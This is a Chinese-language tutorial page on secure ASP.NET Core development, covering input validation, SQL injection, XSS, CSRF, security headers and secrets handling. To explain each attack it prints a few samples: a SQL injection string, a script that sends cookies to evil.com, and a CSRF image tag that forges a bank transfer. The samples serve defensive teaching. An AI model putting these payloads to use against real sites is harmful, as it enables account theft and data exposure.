☕ NEW! 完成新手任務即可參加抽獎!LINE 星巴克禮券等你拿,名額有限!        🎉 推廣活動:邀請好友註冊 DevLearn,累積推薦抽 LINE 星巴克禮券! 活動詳情 →        🔥 活動期間 2026/4/1 - 5/31 |已有 0 人參加       
資安 進階

安全開發實踐

為什麼開發者要懂資安?

💡 比喻:蓋房子 你蓋了一棟漂亮的房子,但忘了裝門鎖。 小偷不需要翻牆,直接開門就進去了。 安全開發就是在蓋房子的時候就把鎖裝好, 而不是被偷了之後才加裝。

常見攻擊排行(OWASP Top 10 精選):
├── SQL Injection     → 最經典的攻擊方式
├── XSS(跨站腳本)   → 在別人的網站執行你的程式碼
├── CSRF(跨站請求偽造)→ 偷偷代替你執行操作
├── 認證問題           → 密碼太簡單、Session 管理不當
└── 敏感資料外洩       → 密碼明文存儲、API Key 寫死

1. 輸入驗證與清理

黃金法則:永遠不要信任使用者的輸入!

所有來自外部的資料都可能是惡意的:
├── 表單欄位
├── URL 參數
├── HTTP Headers
├── Cookie
├── 檔案上傳
└── API 請求主體
// ASP.NET Core Model Validation(模型驗證)
using System.ComponentModel.DataAnnotations;

// 用 Data Annotations 定義驗證規則
public class RegisterRequest
{
    [Required(ErrorMessage = "使用者名稱是必填的")]
    [StringLength(50, MinimumLength = 3, ErrorMessage = "名稱長度必須在 3-50 字元之間")]
    [RegularExpression(@"^[a-zA-Z0-9_]+$", ErrorMessage = "只能包含英文、數字和底線")]
    public string Username { get; set; } = "";

    [Required(ErrorMessage = "Email 是必填的")]
    [EmailAddress(ErrorMessage = "Email 格式不正確")]
    public string Email { get; set; } = "";

    [Required(ErrorMessage = "密碼是必填的")]
    [MinLength(8, ErrorMessage = "密碼至少 8 個字元")]
    public string Password { get; set; } = "";
}

// Controller 中檢查 ModelState
[HttpPost("register")]
public IActionResult Register([FromBody] RegisterRequest request)
{
    // ModelState.IsValid 會自動根據 Data Annotations 驗證
    if (!ModelState.IsValid)
    {
        // 回傳 400 Bad Request 和錯誤訊息
        return BadRequest(ModelState);
    }
    // 驗證通過,繼續處理...
    return Ok("註冊成功");
}

2. 防止 SQL Injection

SQL Injection 原理:

正常查詢:
SELECT * FROM Users WHERE Name = '小明'

駭客輸入:' OR '1'='1' --
變成:
SELECT * FROM Users WHERE Name = '' OR '1'='1' --'
→ 1=1 永遠為真,回傳所有使用者!
// ❌ 危險:字串拼接 SQL(SQL Injection 的溫床)
var username = "' OR '1'='1' --";  // 駭客的輸入
// 直接把使用者輸入拼進 SQL,超級危險!
var sql = $"SELECT * FROM Users WHERE Name = '{username}'";
// 結果:SELECT * FROM Users WHERE Name = '' OR '1'='1' --'
// 回傳所有使用者的資料!

// ✅ 安全:使用參數化查詢
using var connection = new SqlConnection(connectionString);
// 用 @username 作為參數佔位符
var safeSql = "SELECT * FROM Users WHERE Name = @username";
// 建立命令物件
using var command = new SqlCommand(safeSql, connection);
// 把使用者輸入當作參數傳入(會自動轉義特殊字元)
command.Parameters.AddWithValue("@username", username);

// ✅ 更好:使用 Entity Framework Core(天生防 SQL Injection)
var user = await _db.Users
    // EF Core 自動使用參數化查詢
    .Where(u => u.Name == username)
    .FirstOrDefaultAsync();

// ⚠️ 注意:EF Core 的 FromSqlRaw 仍然有風險
// ❌ 危險
var users = _db.Users.FromSqlRaw($"SELECT * FROM Users WHERE Name = '{username}'");
// ✅ 安全:用 FromSqlInterpolated
var safeUsers = _db.Users.FromSqlInterpolated(
    $"SELECT * FROM Users WHERE Name = {username}"
);

3. 防止 XSS(跨站腳本攻擊)

XSS 原理:

駭客在留言板輸入:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

如果網站沒有過濾,其他使用者看到這則留言時,
瀏覽器會執行這段 JavaScript,把 Cookie 送到駭客的伺服器!
// ASP.NET Core Razor 自動編碼(預設就有 XSS 防護)
// ✅ 安全:Razor 的 @ 會自動 HTML 編碼
// @Model.Username 會把 <script> 變成 &lt;script&gt;

// ❌ 危險:使用 Html.Raw() 會繞過編碼
// @Html.Raw(Model.Username)  ← 千萬不要對使用者輸入用 Html.Raw!

// ✅ 手動編碼(如果需要在 API 中回傳)
using System.Web;

var userInput = "<script>alert('XSS')</script>";
// 把 HTML 特殊字元轉義
var safeOutput = HttpUtility.HtmlEncode(userInput);
// 輸出:&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;
Console.WriteLine(safeOutput);

Content Security Policy(CSP)

// 在 ASP.NET Core 設定 CSP Header
// Program.cs 中加入中介軟體
app.Use(async (context, next) =>
{
    // 設定 CSP 標頭,限制可以執行的腳本來源
    context.Response.Headers.Append(
        "Content-Security-Policy",
        // 只允許同源的腳本和指定的 CDN
        "default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'"
    );
    // 繼續處理請求
    await next();
});

4. 防止 CSRF(跨站請求偽造)

CSRF 原理:

你正在登入銀行網站(有 Cookie),
然後你開了另一個惡意網站,裡面有:
<img src="https://bank.com/transfer?to=hacker&amount=10000">

瀏覽器會自動帶上銀行的 Cookie 去請求,
銀行以為是你本人操作,就轉帳了!
// ASP.NET Core 內建 CSRF 防護

// 1. 在 Program.cs 啟用 Anti-Forgery
builder.Services.AddAntiforgery(options =>
{
    // 設定 CSRF Token 的 Header 名稱
    options.HeaderName = "X-CSRF-TOKEN";
});

// 2. Controller 加上 [ValidateAntiForgeryToken]
[HttpPost]
[ValidateAntiForgeryToken]  // 自動驗證 CSRF Token
public IActionResult Transfer(TransferRequest request)
{
    // 只有帶有正確 CSRF Token 的請求才會進來
    return Ok("轉帳成功");
}

// 3. Razor 表單自動帶 Token
// <form method="post">
//     @Html.AntiForgeryToken()  ← 自動產生隱藏欄位
//     <button type="submit">送出</button>
// </form>

5. 安全 Headers

// 在 ASP.NET Core 設定安全 Headers
app.Use(async (context, next) =>
{
    var headers = context.Response.Headers;

    // 防止被嵌入 iframe(防 Clickjacking)
    headers.Append("X-Frame-Options", "DENY");

    // 啟用 XSS 過濾器
    headers.Append("X-Content-Type-Options", "nosniff");

    // 強制使用 HTTPS(HSTS)
    headers.Append("Strict-Transport-Security", "max-age=31536000; includeSubDomains");

    // 控制 Referrer 資訊洩漏
    headers.Append("Referrer-Policy", "strict-origin-when-cross-origin");

    // 權限控制(禁用不需要的瀏覽器功能)
    headers.Append("Permissions-Policy", "camera=(), microphone=(), geolocation=()");

    // 繼續處理請求
    await next();
});
常見安全 Headers 說明:

Header                      用途
──────────────────────────────────────────────────
X-Frame-Options             防止網頁被嵌入 iframe
X-Content-Type-Options      防止瀏覽器猜測內容類型
Strict-Transport-Security   強制使用 HTTPS
Content-Security-Policy     限制資源載入來源
Referrer-Policy             控制 Referrer 標頭
Permissions-Policy          控制瀏覽器 API 權限

6. Secrets 管理

機密資料不該出現在原始碼中!

常見的機密資料:
├── 資料庫連線字串
├── API Key
├── JWT Secret
├── 第三方服務的帳密
└── 加密金鑰
// 開發環境:User Secrets
// 初始化 User Secrets(在專案目錄執行)
// dotnet user-secrets init
// 設定密碼
// dotnet user-secrets set "ConnectionStrings:Default" "Server=..."
// 設定 JWT 金鑰
// dotnet user-secrets set "Jwt:Key" "your-secret-key"

// 在 Program.cs 中讀取(開發環境自動載入 User Secrets)
var connectionString = builder.Configuration.GetConnectionString("Default");
// JWT 金鑰從設定讀取
var jwtKey = builder.Configuration["Jwt:Key"];

// 正式環境:環境變數
// Linux/macOS: export ConnectionStrings__Default="Server=..."
// Windows: set ConnectionStrings__Default=Server=...
// Docker: docker run -e ConnectionStrings__Default="Server=..." myapp

// Azure Key Vault(雲端環境的最佳選擇)
// 把機密儲存在 Azure Key Vault,應用程式用 Managed Identity 讀取
// builder.Configuration.AddAzureKeyVault(
//     new Uri("https://my-vault.vault.azure.net/"),
//     new DefaultAzureCredential()
// );

🤔 我這樣寫為什麼會錯?

❌ 錯誤 1:只做前端驗證

// ❌ 前端驗證可以被繞過!
// 駭客可以用 Postman 或 curl 直接發請求,完全繞過前端驗證
if (password.length < 8) {
    alert("密碼太短");
}
// ✅ 正確:前後端都要驗證
// 前端驗證 → 改善使用者體驗(即時回饋)
// 後端驗證 → 真正的安全防線(不可繞過)

[HttpPost]
public IActionResult Register([FromBody] RegisterRequest request)
{
    // 後端一定要驗證!前端驗證只是 UX,不是安全措施
    if (!ModelState.IsValid)
    {
        return BadRequest(ModelState);
    }
    // 繼續處理...
    return Ok();
}

❌ 錯誤 2:在錯誤訊息中洩漏太多資訊

// ❌ 錯誤:告訴駭客哪裡錯了
if (user == null)
    return BadRequest("此帳號不存在");  // 駭客知道帳號不存在
if (!VerifyPassword(password, user.PasswordHash))
    return BadRequest("密碼錯誤");      // 駭客知道帳號存在,只是密碼錯

// ✅ 正確:統一錯誤訊息,不洩漏細節
// 不管是帳號不存在還是密碼錯,都回傳同一個訊息
return BadRequest("帳號或密碼錯誤");

❌ 錯誤 3:把機密推上 Git

❌ 這些檔案不該被推上 Git:
├── appsettings.Development.json(含本機密碼)
├── .env(環境變數檔)
├── credentials.json
└── *.pfx / *.pem(憑證檔)

✅ 正確做法:
1. 在 .gitignore 加入這些檔案
2. 使用 User Secrets(開發)
3. 使用環境變數(正式)
4. 如果不小心推上去了,要立即更換密碼!
   (就算刪除 commit,Git 歷史紀錄還是有)

💡 重點整理

概念 說明
輸入驗證 永遠不信任使用者輸入,前後端都要驗證
SQL Injection 用參數化查詢或 EF Core 防禦
XSS 使用 HTML 編碼和 CSP Header
CSRF 使用 Anti-Forgery Token
安全 Headers X-Frame-Options、HSTS 等
Secrets 管理 User Secrets(開發)、環境變數(正式)、Key Vault(雲端)

💡 大家的想法 · 0

載入中...
💬 即時聊天室 🟢 0 人在線
😀 😎 🤓 💻 🎮 🎸 🔥
➕ 新問題
📋 我的工單
💬 LINE 社群
🔒
需要註冊才能使用此功能
註冊帳號即可解鎖測驗、遊戲、簽到、筆記下載等所有功能,完全免費!
免費註冊